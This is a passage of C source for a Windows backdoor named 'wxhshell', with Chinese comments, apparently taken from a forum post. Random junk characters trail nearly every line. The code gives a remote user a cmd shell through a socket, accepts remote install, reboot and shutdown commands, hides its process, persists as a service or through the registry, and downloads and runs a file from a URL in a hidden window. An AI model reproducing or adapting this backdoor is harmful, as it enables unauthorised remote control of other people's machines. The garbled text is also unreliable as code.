  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m^h"VH,   
  } 4QK([q  
  else { knpb$eX4  
X#5dd.RR  
    switch(cmd[0]) { *%'4.He7V  
  #O^H? 3Q3  
  // 帮助 [X)+(-J  
  case '?': { A,MRK#1u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GC H= X  
    break; Mq42^m:qe  
  } j*Q/vY!T  
  // 安装 Gp$[u4-6M6  
  case 'i': { nTY`1w.;  
    if(Install()) @.T'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J$&!Y[0  
    else ]1%H.pF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }f^r@3Cb3  
    break; eGvHU ;@  
    } QY-P!JD  
  // 卸载 >Fz_]z   
  case 'r': { b`E0tZcJ  
    if(Uninstall()) gPe*M =iF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0gHJ%m9s  
    else w@.E}%bwq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ):&A\nb  
    break; I'BoP  
    } 2j H`  
  // 显示 wxhshell 所在路径 Tx0/3^\>8A  
  case 'p': { 17H_>a\`  
    char svExeFile[MAX_PATH]; !li Q;R&  
    strcpy(svExeFile,"\n\r"); :^3MN  
      strcat(svExeFile,ExeFile); 5h+g^{BE  
        send(wsh,svExeFile,strlen(svExeFile),0); M\,0<{  
    break; &pK1S>t  
    } Pp:(PoH  
  // 重启 WDY,?  
  case 'b': { x+nrdW+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hm`9M.5b  
    if(Boot(REBOOT)) oj$D3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /`D]m?  
    else { u q:>g  
    closesocket(wsh); ~({aj|Y  
    ExitThread(0); ]0xbvJ8oK  
    } R7e`Wn  
    break; l:8gCi  
    }  #It{B  
  // 关机 aT(Pf7 O  
  case 'd': { v/8K?$"q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zkI\ji  
    if(Boot(SHUTDOWN)) Jm\'=#U#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0^]E-Zf  
    else {  ,L\OhT  
    closesocket(wsh); %D\TLY  
    ExitThread(0); JE9|;A  
    } el.;T*Wn  
    break; B~lrd#qC  
    } Bca\grA  
  // 获取shell 9,82Uta  
  case 's': { ??aOr*%  
    CmdShell(wsh); <QugV3e  
    closesocket(wsh); !a ~>;+  
    ExitThread(0); d'kQE_y2.  
    break; tu6c!o,@  
  } 7}%3Aw6]S  
  // 退出 ^g~Asz5]  
  case 'x': { &y mfA{s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t}qoIxy)  
    CloseIt(wsh); Io5-[d  
    break; aoco'BR F  
    } _z)G!_7.>\  
  // 离开 JnmJN1@I  
  case 'q': { nC qUg_{D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X/];*='Q  
    closesocket(wsh); I &YYw8&  
    WSACleanup(); ! 0fpD'f!n  
    exit(1); cA`R~o"  
    break; WA8Qt\Q  
        } 6WgGewn  
  } jkFS=eonK  
  } r{#od 7;  
w1rB"rB?  
  // 提示信息 e~ W35Y>A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W.-[ceM  
} X"y rA;,o  
  } ,@khV  
]3NH[&+  
  return; "|]'\4UdzQ  
} u#\=g:  
2!-ZNd:(+  
// shell模块句柄 LP7t*}PK  
int CmdShell(SOCKET sock) C=h$8Q  
{ Dsm_T1X  
STARTUPINFO si; )j4]Y dJ  
ZeroMemory(&si,sizeof(si)); giyKEnP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ul?'kuYk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8QE0J$d5  
PROCESS_INFORMATION ProcessInfo; l-XiQ#-{  
char cmdline[]="cmd"; {uL<$;#i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :7e2O!zH_  
  return 0;  ;B^G<  
} 7cK#fh"hvg  
]N:SB  
// 自身启动模式 /$! / F@^  
int StartFromService(void) 6sRn_y  
{ gJ+MoAM"  
typedef struct p=coOWOQ  
{ gv r "F  
  DWORD ExitStatus; +%7yJmMw  
  DWORD PebBaseAddress; pOyM/L   
  DWORD AffinityMask; *,%H1)Tj}  
  DWORD BasePriority; ot;j6eAH~E  
  ULONG UniqueProcessId; XGFU *g`kq  
  ULONG InheritedFromUniqueProcessId; d~D<;7M XJ  
}   PROCESS_BASIC_INFORMATION; z/.x*A=  
=mn)].Wg  
PROCNTQSIP NtQueryInformationProcess; @8HTC|_vX  
5MQD:K2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !\}Dxt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]~U4;  
SWz+.W{KQ"  
  HANDLE             hProcess; e/r41  
  PROCESS_BASIC_INFORMATION pbi; 6$4G&'J  
^IjKT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fYuJf,I[f  
  if(NULL == hInst ) return 0; #y&3`Nz3  
j_L 'Ztu3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k*J}/HO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D}SRr,4v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8ysU.5S  
=IkQ;L&  
  if (!NtQueryInformationProcess) return 0; \'q-Xr'}M  
up=4B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d8C?m*3 J  
  if(!hProcess) return 0; %+L:Gm+^g#  
f h)Cz)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I')URk[  
7Z0 )k9*  
  CloseHandle(hProcess); ~Hd{+0  
k v,'9z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >5% o9$|z  
if(hProcess==NULL) return 0; `pn]jpW9  
ua/A &XQx  
HMODULE hMod; ecA:y!N  
char procName[255]; g:dw%h  
unsigned long cbNeeded; "w*VyD  
z\pT nteO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NN\% X3ri"  
lf4-Ci*X  
  CloseHandle(hProcess); uH^/\  
vd|PTHV_  
if(strstr(procName,"services")) return 1; // 以服务启动 R61.!ql%w  
ctTg-J2.  
  return 0; // 注册表启动 u_dTJ, m  
} <*V%!pwIG  
yH;=Y1([  
// 主模块 ` Xhj7%>  
int StartWxhshell(LPSTR lpCmdLine) -N<s =  
{ ax[-907  
  SOCKET wsl; D?44:'x+-  
BOOL val=TRUE; SpdQ<]  
  int port=0; EFW'D=&h8  
  struct sockaddr_in door; %C" wUAY  
i~@e}=  
  if(wscfg.ws_autoins) Install(); y1p^ &9 U  
"diF$Lj  
port=atoi(lpCmdLine); `J|bGf#  
|#D3~au   
if(port<=0) port=wscfg.ws_port; WogJ~N,d53  
VE+Q Y9(  
  WSADATA data; :XxsDD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BKPXXR  
+7U$qEG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w=vK{h#8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fJBp,{0  
  door.sin_family = AF_INET; +;c)GNQ)6:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a}|B[b  
  door.sin_port = htons(port); R+Dx#Wn I  
dGt;t5An V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f>k]{W Y  
closesocket(wsl); 8)s}>:}  
return 1; Rb Jl;  
} oS 7q#`  
0j %s H  
  if(listen(wsl,2) == INVALID_SOCKET) { dZFf /BXU  
closesocket(wsl); N\ChA]Ck  
return 1; a[Ah  
} vR.=o*!%  
  Wxhshell(wsl); fW~r%u .y  
  WSACleanup(); 4:.yE|@h[  
kO{A]LnAH  
return 0; U$Z)v1&{  
mHrt)0\_  
} KhIg  
(2RZc].M~  
// 以NT服务方式启动 vOy;=0$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^ #B`GV  
{ >B<jR$`6@  
DWORD   status = 0; W&#Ps6)8  
  DWORD   specificError = 0xfffffff; [#`)Bb&w  
bgq/]fI}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J.W0F #?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X,y0 J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qF C0$:z&  
  serviceStatus.dwWin32ExitCode     = 0; .|^L\L(!  
  serviceStatus.dwServiceSpecificExitCode = 0; 1v)ur\>R  
  serviceStatus.dwCheckPoint       = 0; [`Seh$  
  serviceStatus.dwWaitHint       = 0; M>nplHq   
tGDsZ;3Yr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LG0+A}E=C  
  if (hServiceStatusHandle==0) return; )ZC0/>R  
BF{v0Z0/}k  
status = GetLastError(); FBJw (.Jr  
  if (status!=NO_ERROR) ZjF5*A8l  
{ -L%tiz`_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3qwi)nm  
    serviceStatus.dwCheckPoint       = 0; w/BaaF.0  
    serviceStatus.dwWaitHint       = 0; _^]2??V  
    serviceStatus.dwWin32ExitCode     = status; -7,xjn  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;*>Y8^K&Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {Z%4Pg  
    return; }iZO0C  
  } 2L Kpwz?  
L}Nc kL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P>n}\"z4  
  serviceStatus.dwCheckPoint       = 0; C +S  
  serviceStatus.dwWaitHint       = 0; FC[8kq>Hk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j ;}!Yn  
} ,j\1UAa  
=$xxkc.~G  
// 处理NT服务事件,比如:启动、停止 @'>h P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^h #0e:7<  
{ 7%DA0.g  
switch(fdwControl) "I+71Ce  
{ }TE4)vXs  
case SERVICE_CONTROL_STOP: O(q1R#n-}+  
  serviceStatus.dwWin32ExitCode = 0; i E p{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uvC ![j^~  
  serviceStatus.dwCheckPoint   = 0; 9jW/"  
  serviceStatus.dwWaitHint     = 0; M9so3L<N0  
  { F7[ 55RcP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EAafi <n  
  } Zpc R   
  return; whFaL}2C  
case SERVICE_CONTROL_PAUSE: 0} v_usP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $p? gai{o  
  break; Cn+'!?!d,  
case SERVICE_CONTROL_CONTINUE: j0P+<@y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (#,0\ea{x  
  break; **p|g<wvY*  
case SERVICE_CONTROL_INTERROGATE: PCKgdh},  
  break; Zw6UH;5  
}; [C_Dv-d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y/{&mo1\  
} xg*)o*?  
S 2vjjS  
// 标准应用程序主函数 %z1y3I|`[t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MoAZ!cF8  
{ %49 ^S&  
l@C39VP  
// 获取操作系统版本 cl3@+v1  
OsIsNt=GetOsVer(); $7\Al$W\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &IYSoA"Nz  
cvSr><(  
  // 从命令行安装 O$SQzLZx&  
  if(strpbrk(lpCmdLine,"iI")) Install(); CjeAO 2  
oMdqg4HUF  
  // 下载执行文件 2x3%*r$  
if(wscfg.ws_downexe) { '1rHvz`B/"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1:{BC2P  
  WinExec(wscfg.ws_filenam,SW_HIDE); =6Z$nc R  
} #>)OLKP  
N-C=O  
if(!OsIsNt) { lHl1Ny\?  
// 如果时win9x,隐藏进程并且设置为注册表启动 J+IkTqw  
HideProc(); D X|yL!4[  
StartWxhshell(lpCmdLine); A\xvzs.d  
} 8<#S:O4kA  
else oY;=$8y<q  
  if(StartFromService()) b@9>1d$  
  // 以服务方式启动 $ /Rr|<  
  StartServiceCtrlDispatcher(DispatchTable); L`"B;a&  
else slPLc  
  // 普通方式启动 t^ax:6;"|  
  StartWxhshell(lpCmdLine);  a@mMa {  
%v)m&VUi%  
return 0; $K-od3h4=  
}
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只看该作者 1 发表于: 2006-10-10
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